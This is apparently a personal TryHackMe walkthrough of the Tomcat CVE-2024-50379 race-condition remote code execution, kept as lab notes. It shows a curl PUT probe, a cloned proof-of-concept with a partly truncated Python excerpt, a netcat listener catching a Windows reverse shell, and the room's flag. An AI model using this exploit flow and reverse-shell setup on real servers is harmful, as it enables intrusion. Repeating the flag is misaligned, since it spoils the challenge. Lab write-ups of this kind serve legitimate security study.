Tomcat: CVE-2024-50379 (TryHackMe)
Link to the challenge in TryHackMe: Tomcat: CVE-2024-50379
- The room is now under the Max Plan, which I'm not subscribed to, but I'll add a few notes that I had written down when I did the room
curl -X PUT -d "test" http://10.112.140.208:8080/demo.jsp
<!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> JSP file [/demo.jsp] not found</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/10.1.25</h3></body></html>
git clone https://github.com/iSee857/CVE-2024-50379-PoC
Cloning into 'CVE-2024-50379-PoC'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 12 (delta 5), reused 1 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (12/12), 5.27 KiB | 1.05 MiB/s, done.
Resolving deltas: 100% (5/5), done.
Had an issue running the Python script as it is; Claude code suggested reducing max_workers to 50 and setting the range to 2000 for it to work
import requests
import urllib3
from urllib.parse import urljoin
import argparse
import ssl
import concurrent.futures
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def check(url):
protocols = ['http://', 'https://']
found_vulnerabilities = False
for protocol in protocols:
target_url = urljoin(protocol + url.lstrip('http://').lstrip('https:>
print(f"Checking {target_url}...")
target_url_put1 = urljoin(target_url, "/aa.Jsp")
target_url_put2 = urljoin(target_url, "/bb.Jsp")
target_url_get1 = urljoin(target_url, "/aa.jsp")
target_url_get2 = urljoin(target_url, "/bb.jsp")
headers1 = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.3>
"Content-Type": "application/json"
}
headers2 = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.3>
}
netcat -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 10.112.140.208 49993
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\Apache Software Foundation\Tomcat 10.1>dir
dir
Volume in drive C has no label.
Volume Serial Number is A8A4-C362
Directory of C:\Program Files\Apache Software Foundation\Tomcat 10.1
01/30/2025 08:14 AM <DIR> .
01/30/2025 08:14 AM <DIR> ..
01/30/2025 08:14 AM <DIR> bin
01/30/2025 08:15 AM <DIR> conf
01/30/2025 08:14 AM <DIR> lib
06/14/2024 07:31 PM 61,536 LICENSE
06/05/2026 12:45 PM <DIR> logs
06/14/2024 07:31 PM 2,401 NOTICE
06/14/2024 07:31 PM 6,949 RELEASE-NOTES
01/30/2025 08:14 AM <DIR> temp
06/14/2024 07:31 PM 21,630 tomcat.ico
06/14/2024 07:31 PM 87,664 Uninstall.exe
01/30/2025 08:14 AM <DIR> webapps
01/30/2025 08:15 AM <DIR> work
5 File(s) 180,180 bytes
9 Dir(s) 13,853,892,608 bytes free
C:\Program Files\Apache Software Foundation\Tomcat 10.1>
C:\Program Files\Apache Software Foundation\Tomcat 10.1>cd C:\
cd C:\
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is A8A4-C362
Directory of C:\
11/14/2018 06:56 AM <DIR> EFI
01/30/2025 10:57 AM 13 flag.txt
05/13/2020 05:58 PM <DIR> PerfLogs
01/30/2025 08:09 AM <DIR> Program Files
01/30/2025 09:17 AM <DIR> Program Files (x86)
03/17/2021 03:00 PM <DIR> Users
03/17/2021 02:59 PM <DIR> Windows
1 File(s) 13 bytes
6 Dir(s) 13,853,892,608 bytes free
C:\>touch flag.txt
touch flag.txt
C:\>type flag.txt
type flag.txt
THM{M9bN6cF3}
